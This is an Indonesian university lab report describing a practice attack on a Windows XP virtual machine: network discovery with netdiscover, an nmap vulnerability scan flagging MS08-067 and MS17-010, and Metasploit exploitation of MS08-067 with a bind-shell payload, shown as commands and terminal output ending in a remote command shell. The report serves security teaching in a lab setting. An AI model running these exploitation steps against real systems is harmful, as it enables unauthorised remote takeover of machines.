

Keamanan Komputer
(LAPORAN PRAKTIKUM System Hacking Windows)

Oleh

Abdillah Ibnu Mubarak	1707051014
Akbar Rinaldy	1707051006
Dimas Riyadi	1707051034
Muhamamd Bella Buay Nunyai	1707051018



PROGRAM STUDI D3 MANAJEMEN INFORMATIKA
JURUSAN ILMU KOMPUTER
FAKULTAS MATEMATIKA DAN ILMU PENGETAHUAN
UNIVERSITAS LAMPUNG
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Diberikan sebuah Lab yang berjalan di Operation System Windows XP Service Packed 1
Sekarang kita coba memasuki sistem tersebut, disini kami menggunakan OS Linux dengan Distro Backbox Linux Versi 5

Information Gathering

Disini kami menggunakan tools yang bernama **netdiscover** untuk menemukan kira kira yang mana merupakan **IP** dari Lab tersebut. Dapatkan terdapat dua ip disitu kita berasumsi bahwa ip dari lab tersebut **192.168.154.0**

Perintah menggunakan tools **netdiscover**

sudo netdiscover -i vboxnet0

*keterangan **vboxnet0** menyesuaikan dengan adapter di Virtual Box kalian

```
hachi@geek: ~  
Currently scanning: 192.168.154.0/16 | Screen View: Unique Hosts  
2 Captured ARP Req/Rep packets, from 2 hosts. Total size: 102  


| IP             | At MAC Address    | Count | Len | MAC Vendor / Hostname   |
|----------------|-------------------|-------|-----|-------------------------|
| 192.168.56.100 | 08:00:27:fa:62:3a | 1     | 60  | CADMUS COMPUTER SYSTEMS |
| 192.168.56.101 | 08:00:27:67:18:f4 | 1     | 42  | CADMUS COMPUTER SYSTEMS |

  
$ ~ (master) █
```

Scanning

Disini kami menggunakan tools **nmap** untuk mencari service dan informasi mendalam mengenai target dengan menggunakan perintah

sudo nmap -sS -sV -Pn --script=vuln -oX sp1-101-1.xml 192.168.56.101

*keterangan

sp1-101-1.xml merubah hasil scan dari nmap menjadi file **xml** yang akan kita gunakan di **metasploit**

```
hachi@geek: ~/Pictures/pentest windows sp1  
$ pentest windows sp1 (master) msfconsole  
usr/bin/msfconsole: 14: cd: can't cd to /home/hachi/Pictures/pentest  
Found a database at /home/hachi/.msf4/db, checking to see if it is started  
Starting database at /home/hachi/.msf4/db...success  
This copy of metasploit-framework is more than two weeks old.  
Consider running 'msfupdate' to update to the latest version.  
[*] Starting the Metasploit Framework console...  
  
Starting Nmap 7.60 ( https://nmap.org ) at 2018-12-02 06:45 WIB  
Nmap scan report for 192.168.56.101  
Host is up (0.0000s latency).  
Not shown: 997 closed ports  
PORT      STATE SERVICE      VERSION  
135/tcp   open  msrpc        Microsoft Windows RPC  
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn  
445/tcp   open  microsoft-ds Microsoft Windows XP microsoft-ds  
MAC Address: 08:00:27:67:18:F4 (Oracle VirtualBox virtual NIC)  
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp  
  
Host script results:  
_smb-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED  
_smb-vuln-ms08-067:  
VULNERABLE:  
Microsoft Windows system vulnerable to remote code execution (MS08-067)  
State: VULNERABLE  
IDs: CVE:2008-4250  
The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 a  
nd SP2,  
Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute  
arbitrary  
code via a crafted RPC request that triggers the overflow during path canonicalizat  
ion.  
  
Disclosure date: 2008-10-23  
References:  
https://technet.microsoft.com/en-us/library/security/ms08-067.aspx  
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250  
_smb-vuln-ms10-054: false  
_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)  
_smb-vuln-ms17-010:  
VULNERABLE:  
Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)  
State: VULNERABLE  
IDs: CVE:2017-0143  
Risk factor: HIGH  
A critical remote code execution vulnerability exists in Microsoft SMBv1  
servers (ms17-010).  
  
Disclosure date: 2017-03-14  
References:  
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143  
https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-at  
tacks/  
https://technet.microsoft.com/en-us/library/security/ms17-010.aspx  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 65.07 seconds  
$ pentest windows sp1 (master) █
```

Didapatkan beberapa informasi dari target

Starting Nmap 7.60 (<https://nmap.org>) at 2018-12-02 06:45 WIB

Nmap scan report for 192.168.56.101

Host is up (0.00081s latency).

Not shown: 997 closed ports

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds

MAC Address: 08:00:27:67:18:F4 (Oracle VirtualBox virtual NIC)

Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows,
cpe:/o:microsoft:windows_xp

Host script results:

|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED

|smb-vuln-ms08-067:

| VULNERABLE:

| Microsoft Windows system vulnerable to remote code execution (MS08-067)

| State: VULNERABLE

| IDs: CVE:CVE-2008-4250

| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,

| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary

| code via a crafted RPC request that triggers the overflow during path canonicalization.

| Disclosure date: 2008-10-23

| References:

| <https://technet.microsoft.com/en-us/library/security/ms08-067.aspx>

|_ <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250>

|_smb-vuln-ms10-054: false

|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)

|smb-vuln-ms17-010:

| VULNERABLE:

| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)

| State: VULNERABLE

| IDs: CVE:CVE-2017-0143

| Risk factor: HIGH

| A critical remote code execution vulnerability exists in Microsoft SMBv1 servers (ms17-010).

| Disclosure date: 2017-03-14

| References:

| <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143>

| <https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/>

|_ <https://technet.microsoft.com/en-us/library/security/ms17-010.aspx>

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 65.07 seconds

[illegible]

```
hachi@gee
msf > search CVE-2008-4250

Matching Modules
=====
   Name                                          Disclosure Date  Rank  Check  Description
   ----                                          -
exploit/windows/smb/ms08_067_netapi  2008-10-28      great Yes    MS08-067 Microsoft Serve
r Service Relative Path Stack Corruption

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name      Current Setting  Required  Description
   ----      -
RHOST        192.168.43.96    yes       The target address
RPORT        445              yes       The SMB service port (TCP)
SMBPIPE      BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Exploit target:

   Id  Name
   --  -
0     Automatic Targeting

msf exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.
set RHOST 192.168.43.96  set RHOST 192.168.56.101
msf exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
msf exploit(windows/smb/ms08_067_netapi) > set PAYLOAD
[-] Unknown variable
Usage: set [option] [value]

Set the given option to value.  If value is omitted, print the current value.
If both are omitted, print options that are currently set.

If run from a module context, this will set the value in the module's
datastore.  Use -g to operate on the global datastore

msf exploit(windows/smb/ms08_067_netapi) > set
set CHOST          set SMB::ChunkSize
set CPORT          set SMB::Native_LM
set ConnectTimeout set SMB::Native_OS
set ConsoleLogging  set SMB::VerifySignature
set ContextInformationFile set SMB::obscure_trans_pipe_level
set DCERPC::ReadTimeout set SMB::pad_data_level
```

Ketikkan **show options** untuk mengedit RHOST dengan perintah **set RHOST 192.168.56.101**
*keterangan RHOST → ip dari target

```

msf exploit(windows/smb/ms08_067_netapi) > set PAYLOAD generic/shell_bind_tcp
PAYLOAD => generic/shell_bind_tcp
msf exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

  Name      Current Setting  Required  Description
  ----      -
  RHOST      192.168.56.101  yes       The target address
  RPORT      445              yes       The SMB service port (TCP)
  SMBPIPE    BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (generic/shell_bind_tcp):

  Name      Current Setting  Required  Description
  ----      -
  LPORT      4444             yes       The listen port
  RHOST      192.168.56.101  no        The target address

Exploit target:

  Id  Name
  --  -
  0    Automatic Targeting

msf exploit(windows/smb/ms08_067_netapi) > exploit

[*] 192.168.56.101:445 - Automatically detecting the target...
[*] 192.168.56.101:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.56.101:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.56.101:445 - Attempting to trigger the vulnerability...
[*] Started bind TCP handler against 192.168.56.101:4444
[*] Command shell session 1 opened (192.168.56.1:26143 -> 192.168.56.101:4444) at 2018-12-03 19:45:21 +0700

id
id
'id' is not recognized as an internal or external command,
operable program or batch file.

C:\WINDOWS\system32>

```

Lalu kita **SET PAYLOAD** generic/shell_bind_tcp

Kalau sudah kita ketikkan **exploit** tunggu hingga **session terbentuk** kalau sudah ketikkan **id** dan Bingo

Dan Akhirnya kita masuk ke sistem LAB

```

msf exploit(windows/smb/ms08_067_netapi) > exploit

[*] 192.168.56.101:445 - Automatically detecting the target...
[*] 192.168.56.101:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.56.101:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.56.101:445 - Attempting to trigger the vulnerability...
[*] Started bind TCP handler against 192.168.56.101:4444
[*] Command shell session 1 opened (192.168.56.1:26143 -> 192.168.56.101:4444) at 2018-12-03 19:45:21 +0700

id
id
'id' is not recognized as an internal or external command,
operable program or batch file.

C:\WINDOWS\system32>echo pwned by bellabeen
echo pwned by bellabeen
pwned by bellabeen

C:\WINDOWS\system32>

```